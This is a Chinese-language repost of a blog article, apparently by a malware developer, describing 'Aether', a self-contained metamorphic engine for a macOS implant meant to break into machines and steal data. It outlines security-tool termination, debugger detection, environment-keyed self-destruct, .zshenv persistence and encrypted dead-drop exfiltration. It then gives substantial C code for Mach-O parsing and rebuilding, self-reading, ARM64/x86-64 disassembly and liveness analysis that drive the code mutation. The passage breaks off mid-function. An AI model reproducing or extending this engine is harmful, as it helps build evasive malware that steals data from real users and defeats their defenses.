文章总结: 文档介绍了一个针对macOS的自包含变形恶意软件引擎Aether,支持ARM64/x86-64反汇编、代码变异和反射加载。核心机制包括N代变异循环(垃圾指令插入、等价指令替换)、环境校验(域名/UUID匹配)、反分析层(调试器检测、安全工具终止)和持久化外泄(.zshenv钩子、死信箱C2)。技术细节涵盖Mach-O文件结构解析、运行时自修改和内存擦除,作者在GitHub公开了不完整的x86实现代码。 综合评分: 65 文章分类: 恶意软件,二进制安全,逆向分析,应用安全,Mac安全
反汇编、流变与运行时把戏
f00crew f00crew
securitainment
2026年4月8日 17:47 中国香港
| 原文链接 | 作者 | | — | — | | https://f00crew.org/0x4a | f00crew |
今天直接裸奔——堕落恶意软件开发者视角,不加任何滤镜。
我们要整一个自包含的变形引擎——内置 ARM64 反汇编器、活跃性分析器、代码生成器和多种变异算法,还带反射加载、数据收集和外泄能力。
在 2026 年值得折腾吗?说实话可能不值。但我觉得这玩意儿挺牛逼的。
上周末有点空闲,就把搁了有一段时间的代码片段 Aether写成了文章。你可以在这里找到它:
github.com/0xf00sec/Aether
大部分是 x86 的,混了点 ARM,但 ARM 那块做得很不完整,压根没整完。为什么呢?一是 x86 花了我大部分精力,二是我从来没真正下决心把 ARM 实现的部分做完。
所以我就想,这是个不错的借口来补齐它——搞个完整的 ARM 版本,在这个过程中对架构有更深入的理解,也能把之前留下的毛糙的地方都整干净。
写这篇文章的时候,这东西已经在 macOS 26.2 上测过了,
我们这里讨论的是一个 macOS 植入物,目的是攻入目标机器然后从中偷数据。没啥突破性的创新,也没啥黑魔法——就是瞎折腾、看看这些东西是怎么运作的。
在 macOS 上,实现主要围绕 Mach-O可执行文件格式展开。我们不是把它当成黑匣子,而是直接操纵其结构——解析它、修改二进制,让代码能在保持有效性和可执行性的前提下自我改造。
变形引擎的核心是一个 N 代变异循环,内置了 ARM64/x86-64 反汇编器和活跃性分析器。每次执行时,通过垃圾指令插入、等价指令替换和基本块重排序来变换代码。每一代都用 AES 密钥链加密,然后在内存中反射加载,全程不落盘。
所谓变形,简单说就是程序在保持相同行为的前提下重写自身,想看教科书定义的话,Wikipedia 管够:Metamorphic code – Wikipedia
引擎在执行前会校验运行环境,包括域名、网络和硬件 UUID。一旦环境不匹配,立刻自毁。反分析层负责检测调试器,并通过加密的进程名哈希值扫描 macOS 上的安全工具。对于依赖 LaunchDaemon 的工具,用 SIGSTOP 将其挂起;其他进程则直接用 SIGTERM 或 SIGKILL 干掉。字符串在栈上动态构建以防止静态提取,再加上激进的内存擦除来清除痕迹。
持久化方面,利用 .zshenv 钩子实现分阶段执行——先休眠、再侦察、最后外泄。外泄机制采用死信箱式 C2 架构,配合 RSA+AES 加密,通过 Spotlight 收集文件,并以指数退避策略降低被检测的风险。
怎么构建的?
Mach-O
这个引擎所做的一切都围绕 Mach-O 展开。它是 macOS 上的可执行文件格式——一个容器,装着你的代码、数据、符号,以及内核和 dyld 将二进制文件映射进内存并运行所需的全部内容。要在运行时变异代码、把自身重写回磁盘,或是不经 dyld 就反射加载新镜像,你需要在字节层面彻底理解这个格式。
Apple 在
Mach-O 二进制文件按顺序排列:头部、加载命令,然后是原始数据。没有索引表,没有间接引用,线性遍历即可。
┌──────────────────────┐ offset 0
│ mach_header_64 │ 32 bytes
├──────────────────────┤
│ load command 0 │ variable size
│ load command 1 │
│ ... │
│ load command N │
├──────────────────────┤ page-aligned boundary
│ __TEXT segment data │ (code lives here)
├──────────────────────┤
│ __DATA segment data │
├──────────────────────┤
│ __LINKEDIT │ (symbols, strings, fixups)
└──────────────────────┘
头部告诉你后面跟着多少加载命令及其总大小。每个加载命令描述一个段(segment),段里包含节(section)。
struct mach_header_64是 32 字节,对我们来说关键字段如下:
struct mach_header_64 {
uint32_t magic; // MH_MAGIC_64 = 0xFEEDFACF
cpu_type_t cputype; // CPU_TYPE_ARM64 or CPU_TYPE_X86_64
cpu_subtype_t cpusubtype;
uint32_t filetype; // MH_EXECUTE, MH_DYLIB, MH_BUNDLE
uint32_t ncmds; // number of load commands
uint32_t sizeofcmds; // total size of all load commands
uint32_t flags; // MH_PIE, MH_NOUNDEFS, etc.
uint32_t reserved;
};
magic是最基本的合法性校验。0xFEEDFACF表示 64 位本机字节序;0xCFFAEDFE表示字节倒序;如果看到 0xFEEDFACE,那是 32 位——你走错年代了。在投放器里,解密完成后我们立即验证这个字段,确认解出了有效的二进制文件。
uint32_t magic = *(uint32_t *)decrypted;
if (magic != 0xfeedfacf && magic != 0xcffaedfe) {
memset(decrypted, 0, dec_len);
free(decrypted);
return 1;
}
filetype在从零构建 Mach-O 时很重要。MH_EXECUTE是独立可执行文件;MH_DYLIB是共享库;MH_BUNDLE是可加载插件(dlopen 期望的类型)。包装变异后的代码时我们用 MH_DYLIB,因为它对反射加载的灵活性最高。
flags控制链接器和加载器行为。MH_PIE启用 ASLR;MH_NOUNDEFS告诉 dyld 没有未定义符号;MH_DYLDLINK将文件标记为动态链接。构建包装器时我们同时设置这三个:
mh->flags = MH_NOUNDEFS | MH_DYLDLINK | MH_PIE;
好,加载命令怎么处理?好问题,兄弟——每个命令都以相同的两个字段打头:
struct load_command {
uint32_t cmd; // command type (LC_SEGMENT_64, LC_MAIN, ..)
uint32_t cmdsize; // total size of this command including any trailing data
};
遍历方式是每次迭代前进 cmdsize个字节,内核的做法也一样——没有随机访问,只有线性迭代:
uint8_t *ptr = data + sizeof(struct mach_header_64);
for (uint32_t i = 0; i < mh->ncmds; i++) {
struct load_command *lc = (struct load_command *)ptr;
if (lc->cmd == LC_SEGMENT_64) {
struct segment_command_64 *seg = (struct segment_command_64 *)ptr;
// handle segment
}
ptr += lc->cmdsize;
}
我们关心的命令:
LC_SEGMENT_64描述一块内存区域,包含虚拟地址、虚拟大小、文件偏移、文件大小和保护标志。内核把从 fileoff开始的 filesize字节映射到 vmaddr,再零填充到 vmsize。这就是 BSS 的工作原理——vmsize > filesize,差值部分被清零。
LC_MAIN给出入口点,表示为相对 __TEXT的偏移。老版本二进制文件用 LC_UNIXTHREAD,它嵌入了一个完整的线程状态结构体,指令指针已预先设置好。
LC_SYMTAB和 LC_DYSYMTAB指向 __LINKEDIT中的符号表。为反射加载构建有效 Mach-O 时必须包含它们——dyld 会验证其存在,哪怕是空表。
LC_SEGMENT_64后面紧跟零个或多个内联的 section_64结构体,段的 nsects字段告诉你有多少个:
struct segment_command_64 *seg = (struct segment_command_64 *)ptr;
struct section_64 *sections = (struct section_64 *)(seg + 1);
for (uint32_t j = 0; j < seg->nsects; j++) {
// sections[j].sectname - e.g. "__text", "__stubs", "__cstring"
// sections[j].segname - parent segment name
// sections[j].addr - virtual address
// sections[j].size - size in bytes
// sections[j].offset - file offset to raw data
}
标准布局有三个段:
__PAGEZERO是地址 0 处的零长度映射,用于捕获 NULL 指针解引用。vmsize通常是一页(ARM64 上为 0x4000),filesize为 0,没有实际数据。
__TEXT包含可执行代码和只读数据,保护属性为 r-x。内部的 __text节存放实际机器码,__stubs和 __stub_helper处理懒绑定,__cstring存放 C 字符串字面量。__text节就是我们提取、反汇编、变异再写回的目标。
__DATA包含可写数据——全局变量、静态变量、Objective-C 元数据,保护属性为 rw-。
__LINKEDIT存放符号表、字符串表、代码签名和修复链,内部没有节,只有原始数据,由其他加载命令引用。
这就是核心操作。每次需要变异代码时,我们遍历加载命令找到 __TEXT.__text:
static struct section_64 *find_text(uint8_t *data) {
struct mach_header_64 *mh = (void *)data;
if (mh->magic != MH_MAGIC_64) return NULL;
uint8_t *p = data + sizeof(*mh);
for (uint32_t i = 0; i < mh->ncmds; i++) {
struct load_command *lc = (void *)p;
if (lc->cmd == LC_SEGMENT_64) {
struct segment_command_64 *seg = (void *)p;
if (!strcmp(seg->segname, "__TEXT")) {
struct section_64 *s = (void *)(p + sizeof(*seg));
for (uint32_t j = 0; j < seg->nsects; j++)
if (!strcmp(s[j].sectname, "__text")) return &s[j];
}
}
p += lc->cmdsize;
}
return NULL;
}
找到节之后,代码字节位于 data + section->offset,section->size给出字节数。ARM64 上每条指令固定 4 字节,size / 4即为指令数量。x86-64 上指令长度可变,那是另一个问题了。
读取自身二进制文件
自我修改从玩弄自身开始 [PAUSE!]。_NSGetExecutablePath()(来自 <mach-o/dyld.h>)返回当前运行二进制文件的路径:
char path[1024];
uint32_t size = sizeof(path);
_NSGetExecutablePath(path, &size);
FILE *f = fopen(path, "rb");
fseek(f, 0, SEEK_END);
size_t len = ftell(f);
fseek(f, 0, SEEK_SET);
uint8_t *self = malloc(len);
fread(self, 1, len, f);
fclose(f);
这样,self就是堆内存里你自己 Mach-O 的逐字节副本。解析它,找到 __text,把代码字节交给反汇编器,变异,就可以开始了。
从零构建 Mach-O
变异完成后,我们需要把转换后的代码包装进有效的 Mach-O,供反射加载使用。这意味着手动构建整个结构——头部、段、节、符号表。包装器构建的是一个最小化的 dylib:
uint8_t *wrap_macho(const uint8_t *code, size_t code_sz, size_t *out_sz) {
// header + load commands | __text code | __LINKEDIT
// Everything page-aligned (0x4000 on ARM64)
size_t code_off = PG_ALIGN(header_size);
size_t code_aln = PG_ALIGN(code_sz);
size_t link_off = code_off + code_aln;
size_t total = link_off + PG;
uint8_t *buf = calloc(1, total);
// ... fill in header, segments, sections, symtab ...
memcpy(buf + code_off, code, code_sz);
return buf;
}
页对齐这事搞错不得。ARM64 macOS 用的是 16KB 页(0x4000),不是 x86-64 的 4KB。对不齐,内核直接拒绝映射你的二进制文件。PG_ALIGN宏负责向上取整:
#define PG 0x4000
#define PG_ALIGN(x) (((x) + PG - 1) & ~(PG - 1))
构建的 Mach-O 必须包含:__PAGEZERO、带 __text节的 __TEXT、至少有空 symtab/strtab 的 __LINKEDIT,以及指向它们的 LC_SYMTAB/LC_DYSYMTAB命令。
少了任何一个,dyld 或内核都会拒绝加载该镜像。我们还加入了字段全零的 LC_DYLD_INFO_ONLY——即使没有实际的修复信息,dyld 也会检查它是否存在。
简单来说:变异引擎不是在抽象代码上运作,而是直接操作真实的 Mach-O 二进制文件。每一代读取一个 Mach-O,提取 __text,转换指令,把结果包装进新的 Mach-O,再反射加载。格式是变异与执行之间的接口:解析出错,代码被损坏;构建出错,加载器拒绝;对齐出错,内核让你的进程崩溃。
总之,麻烦透了。
原始 Apple 文档——因 Apple 已下架,使用的是存档版,但仍然是 mach-o/loader.h结构体最完整的参考资料。
- Apple’s OS X ABI Mach-O File Format Reference
- Exploring Mach-O, Part 3
- Snake&Apple I – Mach-O files on ARM64
- MACH-O(5) man page
- loader.h source
- Mac Hacker’s Handbook
反汇编
想变异代码,你得先理解代码。不是源码层面的理解——编译出来之后源码早没了。你必须在指令层面搞懂每个 4 字节字或变长字节序列到底干了什么:读了哪些寄存器?写了哪些?碰没碰标志位?有没有分支?没有这些,变异就是纯粹的数据破坏。
我们针对两种架构,从零开始打造了专属的反汇编器。没有 Capstone,没有 Zydis,也没有任何外部依赖。因为变形引擎必须是完全自包含的,只需要一个单独的二进制文件,承载所有用于解析和自我重写所需的元素。引入外部库就意味着更多的符号解析、更大的静态分析攻击面,反射加载的时候也更容易炸。自己写还有个好处——你只解码变异引擎真正需要的东西,不多不少。
ARM64
ARM64 是两者中相对简单的目标。每条指令固定 4 字节,严格对齐于 4 字节边界,无变长编码,无前缀字节,指令边界一目了然。ARM 架构参考手册在 C4 至 C6 节详细记录了全部位级编码规范。
当然,你不需要把所有细节都啃透。变形引擎只关心数据处理指令、加载/存储指令、分支指令和系统指令,SIMD/FP 可以整体当作不透明的黑盒处理。如果这些概念还不熟,先去 Google 补补课再回来。
解码器读入一个 32 位字,然后与各编码组进行模式匹配。ARM64 采用自顶向下的位分类方案——高位确定指令类别,低位编码操作数。bits() 函数负责提取任意位范围:
static inline uint32_t bits(uint32_t x, int hi, int lo) {
return (x >> lo) & ((1u << (hi - lo + 1)) - 1u);
}
每条指令都会被解码为一个 arm64_inst_t结构体,其中包含变形引擎所需的全部信息:
typedef struct {
uint32_t raw;
arm_op_t op;
uint8_t rd, rn, rm, ra;
int64_t imm;
int64_t target;
bool is_64bit;
bool sets_flags;
bool reads_flags;
bool valid;
bool is_control_flow;
addr_mode_t addr_mode;
uint8_t regs_read[4];
uint8_t regs_written[2];
uint8_t num_regs_read;
uint8_t num_regs_written;
} arm64_inst_t;
寄存器追踪数组是这个结构体中最关键的部分。regs_read和 regs_written直接输入到活跃性分析模块。每条解码路径都必须正确填充这两个字段,否则变异引擎会破坏活跃寄存器,导致二进制文件崩溃。
解码从分支指令开始,因为这些是控制流分析里最重要的。
当位 31:26为 000101 时,指令匹配 B 或 BL:
/* B / BL */
if ((w & 0x7C000000) == 0x14000000) {
bool link = (w >> 31) & 1;
int64_t off = sxt(bits(w, 25, 0), 26) << 2;
out->op = link ? ARM_OP_BL : ARM_OP_B;
out->target = off;
out->is_control_flow = true;
if (link) wr_track(out, 30); // BL writes X30 (link register)
return true;
}
接着将 26 位立即数符号扩展至 64 位。左移 2 位是因为 ARM64 分支偏移以 4 字节(指令对齐单位)为单位。BL 还会写入 X30(链接寄存器)——若遗漏这一点,活跃性分析会错误地认为 X30 在函数调用后已死,然而实际并非如此。
各类条件分支(B.cond、CBZ、CBNZ、TBZ、TBNZ)各有独立的编码格式。B.cond 读取标志位(NZCV),CBZ/CBNZ 读取寄存器并与零比较,TBZ/TBNZ 则测试特定位。解码器会为 B.cond 设置 reads_flags标记,使变异引擎在其前方绕开任何会破坏标志位的垃圾代码变体:
/* B.cond */
if ((w & 0xFF000010) == 0x54000000) {
out->op = ARM_OP_B_COND;
out->target = sxt(bits(w, 23, 5), 19) << 2;
out->cond = (arm_cond_t)(w & 0xF);
out->reads_flags = true;
out->is_control_flow = true;
return true;
}
数据处理指令的编码格式相当密集:ADD/SUB 立即数形式、ADD/SUB 移位寄存器形式、逻辑移位寄存器形式、逻辑立即数形式,每一类都有各自的位模式。解码器同时处理指令别名:CMP 实质是 Rd=XZR 的 SUBS,MOV 是 ORR Rd, XZR, Rm,TST 是 ANDS XZR, Rn, Rm。
这些别名得处理好,因为变异引擎需要知道指令在语义上干了什么,而不只是盯着原始字节编码。将 MOV X1, X2 替换为等价序列时,必须知道它是寄存器移动操作,而不是与零的 OR:
/* MOV reg alias: ORR Xd, XZR, Xm */
if (opc == 1 && !N && out->rn == 31 && out->shift_type == 0 && out->shift_amount == 0) {
out->op = ARM_OP_MOV_REG;
rd_track(out, out->rm);
wr_track(out, out->rd);
return true;
}
逻辑立即数采用 ARM64 独特的位掩码编码——这是整个 ISA 中最令人头疼的部分之一。逻辑立即数并非以普通数值存储,而是被编码为三个字段:N、immr 和 imms,这三个字段共同描述一个重复的位模式。
从这些字段生成位掩码的方法见 ARM ARM 的 C3.4.4 节。算法从 N:NOT(imms) 的最高置位位推导出元素大小,构造基础模式,旋转,然后在 64 位范围内重复复制。处理有误,等价替换就会产生错误的数值。
加载/存储指令的解码器会追踪寻址模式,因为它们直接影响寄存器活跃性。前索引模式 [Xn, #imm]! 会将结果回写到基址寄存器,因此同时涉及读取和写入;后索引模式 [Xn], #imm 亦然;而普通偏移模式 [Xn, #imm] 只读取基址。rn_is_sp标志用于标记那些寄存器 31 代表 SP 而非 XZR 的指令(大多数加载/存储指令使用 SP,而大多数数据处理指令使用 XZR)——栈帧分析时这个区别很重要。
加载/存储对指令(LDP/STP)一次操作两个寄存器。解码器同时追踪 Rd 和 Ra(即第二个寄存器,编码在 Rt2 字段中)。对于存储操作,两者均为读取源;对于加载操作,两者均为写入目标。若遗漏了第二个寄存器,活跃性分析就会出现盲点。
系统指令(SVC、MRS、MSR、NOP、内存屏障等)和 PAC 指令(PACIASP、AUTIASP、RETAA)会被正常解码,但会被标记为 is_privileged。变形引擎不会对这些指令动手——将 PACIASP 相对于与其配对的 AUTIASP 进行重排,会破坏指针验证机制,导致进程崩溃。
SIMD/FP 指令能被识别,但不进行内部解码。它们会被统一标记为 ARM_OP_SIMD,作为不透明屏障处理。变形引擎不会在 SIMD 序列之间插入垃圾代码,也不会对其重排。这种做法虽然保守,但已够用——要完整解码 NEON/SVE 指令集,反汇编器的体积会翻倍,而对变异的实际收益却微乎其微。
- ARM Architecture Reference Manual (ARM ARM)
- Structure of the ARM A64 instruction set Weinholt
x86-64
这部分简单聊几句——x86-64 是截然不同的另一头野兽。指令变长,从 1 字节到 15 字节不等。传统前缀、REX 前缀、VEX 前缀、ModR/M 字节、SIB 字节、位移量、立即数——全部可选,全部依赖上下文。细节参见《Intel 软件开发者手册 (SDM) 第 2 卷》。
解码器是一个单趟状态机,逐字节扫描字节流,依次消耗前缀、操作码、ModR/M、SIB、位移量、立即数——每个阶段决定下一个阶段是否存在:
[prefixes] [REX] [opcode 1-3 bytes] [ModR/M] [SIB] [disp 1/2/4] [imm 1/2/4/8]
前缀排在最前面。传统前缀(0x66 操作数大小、0xF0 LOCK、0xF2/0xF3 REP、段覆盖前缀)可以以任意顺序出现。REX 前缀(0x40-0x4F)将寄存器编码从 3 位扩展到 4 位,从而访问 R8-R15。解码器在一个循环中消耗这些前缀:
while (p < end && out->prefix_count < 4) {
uint8_t b = *p;
if ((b & 0xF0) == 0x40) { /* REX */
rex_w = (b >> 3) & 1; // 64-bit operand size
rex_r = (b >> 2) & 1; // extends ModR/M reg field
rex_x = (b >> 1) & 1; // extends SIB index field
rex_b = b & 1; // extends ModR/M rm or SIB base
p++; continue;
}
if (!is_prefix(b)) break;
p++; out->prefix_count++;
}
VEX 和 EVEX 前缀(用于 AVX/AVX-512)直接跳过。遇到 0xC4、0xC5 或 0x62,就将该指令标记为 SIMD 并将其余部分作为不透明数据消耗。理由与 ARM64 相同——为变异目的解码这些不值得。
操作码为 1、2 或 3 字节。单字节操作码覆盖了大多数常用指令;双字节操作码以 0x0F(转义字节)开头;三字节操作码以 0x0F 0x38 或 0x0F 0x3A 开头。needs_modrm()函数通过查询 SDM 中的操作码表,确定其后是否跟随 ModR/M 字节。
ModR/M 是 x86 编码变得有趣的地方——它是一个包含三个字段的单字节:mod(2 位)、reg(3 位)、rm(3 位)。mod=3 表示寄存器到寄存器操作;mod=0/1/2 表示带 0/1/4 字节位移的内存操作数。当 rm=4 时,后跟一个 SIB 字节用于比例索引寻址([base + index*scale + disp]);当 mod=0 且 rm=5 时,则是 RIP 相对寻址——x86-64 的位置无关代码全靠它。
SIB 字节再增加一层:scale(2 位)、index(3 位)、base(3 位)。索引寄存器 4(RSP)表示“无索引”;基址寄存器 5 且 mod=0 表示“无基址,仅 disp32”。这些特殊情况见 SDM 表 2-3。一旦处理有误,位移计算就会出错,分支目标解析随之有误,控制流分析随之崩盘,整条分析链就全垃了。
REX 位将 3 位寄存器字段扩展到 4 位。REX.R 扩展 ModR/M.reg,REX.B 扩展 ModR/M.rm 和 SIB.base,REX.X 扩展 SIB.index。x86-64 就是这么访问 R8-R15 的:
out->reg = reg3 | (rex_r ? 8 : 0);
uint8_t base_reg = rm3 | (rex_b ? 8 : 0);
原始解码完成后,进行第二趟处理,以确定语义操作并填充寄存器追踪信息。之所以将这两步分离,是因为 x86 对相同的操作码字节,会根据 ModR/M 扩展字段(/r)执行不同的操作。操作码 0xF7 在 /r=3 时是 NEG,/r=4 时是 MUL,/r=6 时是 DIV。分类器负责处理所有这些情况:
if (op0 == 0xF7) {
switch (ext) {
case 0: inst->op = X86_OP_TEST; inst->sets_flags = true; ...
case 2: inst->op = X86_OP_NOT; ...
case 3: inst->op = X86_OP_NEG; inst->sets_flags = true; ...
case 4: inst->op = X86_OP_MUL; inst->sets_flags = true; ...
case 6: inst->op = X86_OP_DIV; ...
}
}
x86 上的寄存器追踪比 ARM64 麻烦得多,因为存在大量隐式操作数。MUL 隐式读取 RAX 并写入 RAX:RDX;DIV 读取 RDX:RAX 并写入 RAX 和 RDX;PUSH 读取 RSP 并写入 RSP;CALL 读取 RSP、写入 RSP,并(按照 System V ABI)破坏所有易失性寄存器。分类器直接硬编码了 System V 调用约定:
static const bool x86_volatile[16] = {
true, /* rax */ true, /* rcx */ true, /* rdx */ false, /* rbx */
false, /* rsp */ false, /* rbp */ true, /* rsi */ true, /* rdi */
true, /* r8 */ true, /* r9 */ true, /* r10 */ true, /* r11 */
false, /* r12 */ false, /* r13 */ false, /* r14 */ false, /* r15 */
};
这张表驱动着跨函数调用的活跃性分析。CALL 之后,所有易失性寄存器都被假定为已被破坏(已死);非易失性寄存器(RBX、RBP、R12-R15)由被调用者保留,继续保持活跃。
两种架构在编码层面没有任何共同之处。ARM64 简洁规整——固定宽度指令,字段位置一致,寄存器编码正交。x86-64 则是 40 年来持续叠加的扩展,全部堆在一个 8 位微处理器 ISA 之上。
仅 ModR/M/SIB/REX 机制本身就比整个 ARM64 编码方案更复杂。为这两者构建反汇编器,意味着要解决两个根本不同的问题。
活跃性分析
把指令随手塞进二进制文件然后祈祷它能跑——这条路走不通。程序运行时,每个寄存器要么承载着后续指令将要读取的有效值,要么已经”死亡”,装着无人问津的垃圾。在错误的位置插入一条 MOV X3, #0x42,你可能就破坏了一个函数参数、一个循环计数器,或是一个即将被解引用的指针。轻则程序崩溃,重则静默产生错误结果。
活跃性分析告诉我们:在代码的每个位置,哪些寄存器可以安全覆写。能干活的变形引擎和只会输出垃圾的引擎,差别就在这里。
以这段 ARM64 序列为例——一个简单的函数体:
0: MOV X0, X1 ; X0 = X1
1: ADD X2, X0, #8 ; X2 = X0 + 8
2: LDR X3, [X2] ; X3 = mem[X2]
3: MUL X4, X3, X0 ; X4 = X3 * X0
4: STR X4, [X2, #16] ; mem[X2+16] = X4
5: ADD X5, X4, X3 ; X5 = X4 + X3
6: SUB X6, X5, #1 ; X6 = X5 - 1
7: CMP X6, #0 ; flags = compare(X6, 0)
8: B.NE <somewhere> ; branch if not equal
9: RET ; return X0
假设我们想在指令 4 和 5 之间插入垃圾指令。可以覆写哪些寄存器?
直觉上,你可能看着指令 4 说:”X4 刚被写入,用完了。”——错了。指令 5 会读取 X4,覆写它会破坏整个计算。
你可能觉得 X0 闲置,毕竟它最后一次写入在指令 0,最后一次读取在指令 3。但指令 9 是 RET,而 ARM64 调用约定在 X0 中传递返回值。指令 0 写入的值一路流向函数返回——X0 在整个序列中都是活跃的。
所以你才需要数据流分析。靠肉眼逐行去看根本不现实,看走眼了就是一个坏掉的二进制。
每条指令有两个关键属性:它读取哪些寄存器(use),以及它写入哪些寄存器(def)。反汇编器在解码时已经提取了这些信息,活跃性分析把它们归纳成位掩码。
寄存器集合用 uint32_t位掩码表示——第 0-30 位对应 X0-X30,第 31 位对应 NZCV 标志:
typedef uint32_t regset_t;
#define REG_BIT(r) (1u << (r))
#define FLAGS_BIT (1u << 31)
从解码后的指令中提取 use/def 是纯机械操作:
static void inst_usedef(const arm64_inst_t *inst, regset_t *use, regset_t *def) {
*use = *def = 0;
if (!inst->valid) {
*use = *def = 0xFFFFFFFFu; /* unknown = assume everything */
return;
}
for (int i = 0; i < inst->num_regs_read; i++)
*use |= REG_BIT(inst->regs_read[i]);
for (int i = 0; i < inst->num_regs_written; i++)
*def |= REG_BIT(inst->regs_written[i]);
if (inst->reads_flags) *use |= FLAGS_BIT;
if (inst->sets_flags) *def |= FLAGS_BIT;
}
对于未知指令,use 和 def 均置为 0xFFFFFFFF,即”假设它读写所有寄存器”。虽然保守,但保证正确性。未知指令充当屏障——引擎不会在其周围插入垃圾代码。
道理很简单——宁可多估不可少估。多估顶多浪费几个变异机会,少估就直接搞坏程序。
特殊情况也得处理。BL(函数调用)不只是跳转——按照 AAPCS64 调用约定,它读取 X0-X7(参数寄存器),覆写 X0-X18 及标志位(调用者保存寄存器),并写入 X30(链接寄存器)。RET则隐式读取 X0(返回值)和 X30。遗漏任何一条,活跃性数据就会出错。
if (inst->op == ARM_OP_BL || inst->op == ARM_OP_BLR) {
*use |= 0x000000FFu; /* X0-X7 */
*def |= 0x0007FFFFu | FLAGS_BIT; /* X0-X18 + flags */
}
if (inst->op == ARM_OP_RET || inst->op == ARM_OP_RETAA) {
*use |= REG_BIT(0) | REG_BIT(30); /* return value + link register */
}
这些规则直接来自 ARM 架构规范。一旦出错,你可能覆写被调用函数本应保留的寄存器,或破坏返回值。
整个分析是一个反向过程:从代码末尾向开头推进,反向传播”哪些寄存器在此之后还有用”的信息。
每条指令处的方程如下:
live_in[i]=use[i]∪(live_out[i]−def[i])
含义:若指令 i 会读取某寄存器(use),或该寄存器在指令 i 之后仍活跃且指令 i 不写入它(live_out 减去 def),则该寄存器在指令 i 之前是活跃的。指令若写入某寄存器,就”杀死”了该寄存器之前的值——凡是由该指令定义、在其后活跃的值,在其前均无需活跃。
在直线代码中,live_out[i] 就是 live_in[i+1];在分支处,则是所有后继基本块 live_in 集合的并集。
void liveness_window(const arm64_inst_t *insns, int n,
inst_live_t *out, int win_start, int win_end) {
for (int i = win_start; i <= win_end; i++)
inst_usedef(&insns[i], &out[i].use, &out[i].def);
regset_t live = 0xFFFFFFFFu; /* assume worst case past window */
/* scan past window to refine */
regset_t la_def = 0, la_use = 0;
int la_limit = (win_end + 17 < n) ? win_end + 17 : n;
for (int i = win_end + 1; i < la_limit; i++) {
regset_t u, d;
inst_usedef(&insns[i], &u, &d);
la_use |= u & ~la_def;
la_def |= d;
if (insns[i].is_control_flow) break;
}
regset_t proven_dead = la_def & ~la_use;
live &= ~proven_dead;
for (int i = win_end; i >= win_start; i--) {
out[i].live_out = live;
live = out[i].use | (live & ~out[i].def);
out[i].live_in = live;
}
}
注意初始化:live = 0xFFFFFFFFu——假设窗口边界之外的所有寄存器都是活跃的。这是刻意为之的过度近似:我们不知道变异窗口后面跟着什么代码,只能假设最坏情况——一切都可能被用到。
前瞻机制对此加以精化:向窗口外扫描最多 16 条指令,寻找那些在被读取之前就被写入的寄存器——这些寄存器在窗口边界处可证明已死,可以从活跃集合中移除:
regset_t proven_dead = la_def & ~la_use;
live &= ~proven_dead;
这就是整个系统的张力所在。保守分析永远不会破坏活跃值,但会错过可覆写的死寄存器,进而丧失变异机会。前瞻机制在不牺牲正确性的前提下找回了部分机会。
全函数分析
窗口模式只适用于局部变异,而基本块重排需要对整个函数进行全局活跃性分析。这要求先对代码进行基本块分割,再执行不动点迭代:
int liveness_full(const arm64_inst_t *insns, int n, inst_live_t *out) {
/* Find basic block boundaries */
bool *is_leader = calloc(n, sizeof(bool));
is_leader[0] = true;
for (int i = 0; i < n; i++) {
if (insns[i].is_control_flow) {
if (i + 1 < n) is_leader[i + 1] = true;
int tgt_idx = i + (int)(insns[i].target / 4);
if (tgt_idx >= 0 && tgt_idx < n)
is_leader[tgt_idx] = true;
}
}
/* ... build block list ... */
/* Iterate to fixed point */
for (int iter = 0; iter < 1000; iter++) {
bool changed = false;
for (int b = nblocks - 1; b >= 0; b--) {
/* Compute block live_out from successors' live_in */
regset_t new_out = 0;
/* Fallthrough successor */
if (e + 1 < n && /* not unconditional branch */)
new_out |= out[e + 1].live_in;
/* Branch target successor */
if (insns[e].is_control_flow && insns[e].target != 0) {
int tgt = e + (int)(insns[e].target / 4);
if (tgt >= 0 && tgt < n)
new_out |= out[tgt].live_in;
}
if (new_out != blk_live_out[b]) {
blk_live_out[b] = new_out;
changed = true;
}
/* Backward pass within block */
regset_t live = blk_live_out[b];
for (int i = e; i >= s; i--) {
out[i].live_out = live;
live = out[i].use | (live & ~out[i].def);
out[i].live_in = live;
}
}
if (!changed) break;
}
}
基本块是一段最大的连续指令序列,除边界外既无分支进入也无分支跳出。块的首指令(leader)有三类:第一条指令(指令 0)、任意跳转的目标指令,以及紧跟在分支指令后面的指令。算法在这些位置切分代码,然后跨块反向迭代,直至结果不再变化。在分支处,live_out 取所有后继块 live_in 的并集——条件分支有两个后继(跳转目标和顺序下落),无条件分支只有一个,RET 无后继(仅有返回约定寄存器:X0、FP、LR)。
收敛性有理论保证:活跃集只会单调增长(我们在有限单调格上计算最小不动点),而格的大小有限(32 位)。在实际代码规模下,通常 2-4 次迭代即可收敛。
并非所有死寄存器都可以随意覆写。ARM64 调用约定(AAPCS64)将 X19-X28 指定为被调用者保存(callee-saved)寄存器——函数在调用前后必须保持其值不变。即使活跃性分析认为 X19 在某个窗口内已死,未经保存/恢复就覆写它会违反 ABI,破坏调用者的状态。
引擎对这些寄存器实施无条件排除:
static inline regset_t dead_regs(const inst_live_t *live, int idx) {
const regset_t CALLEE_SAVED = 0x1FF80000u; /* bits 19-28 */
return ~live[idx].live_out & 0x1FFFFFFFu & ~CALLEE_SAVED;
}
该掩码无论活跃性分析得出何种结论,都会将 X19-X28、X29(帧指针)、X30(链接寄存器)和 SP 从死集合中移除。只有 X0-X18——函数被允许随意破坏的易失性寄存器——才是垃圾代码插入的合法候选。
循环感知分析
标准活跃性分析会遗漏循环内的一个微妙情形。循环体中某处,一个寄存器可能瞬间显现为”已死”,但循环继续迭代,下一轮迭代时它又变成活跃的。在此处插入覆写它的垃圾代码,第一次迭代正常运行,后续迭代却会读到垃圾值。
引擎通过扫描后向跳转来检测循环——即跳转目标位于自身之前(或与自身位置相同)的分支:
int detect_loops(const arm64_inst_t *insns, int n, bool *loop_body) {
for (int i = 0; i < n; i++) {
if (!insns[i].is_control_flow || insns[i].target == 0) continue;
if (insns[i].op == ARM_OP_BL || insns[i].op == ARM_OP_BLR) continue;
int tgt = i + (int)(insns[i].target / 4);
if (tgt > i) continue; /* forward branch */
for (int j = tgt; j <= i; j++)
loop_body[j] = true;
}
}
循环体内的指令,其死集合会进一步受限。引擎计算整个循环内所有 live_in 与 live_out 集合的并集,凡是在循环任意位置活跃的寄存器,都会从该循环每条指令的死集合中排除:
regset_t loop_live_regs(const arm64_inst_t *insns, const inst_live_t *live,
int n, const bool *loop_body, int idx) {
/* Find tightest enclosing loop */
/* ... */
regset_t all_live = 0;
for (int i = best_lo; i <= best_hi; i++)
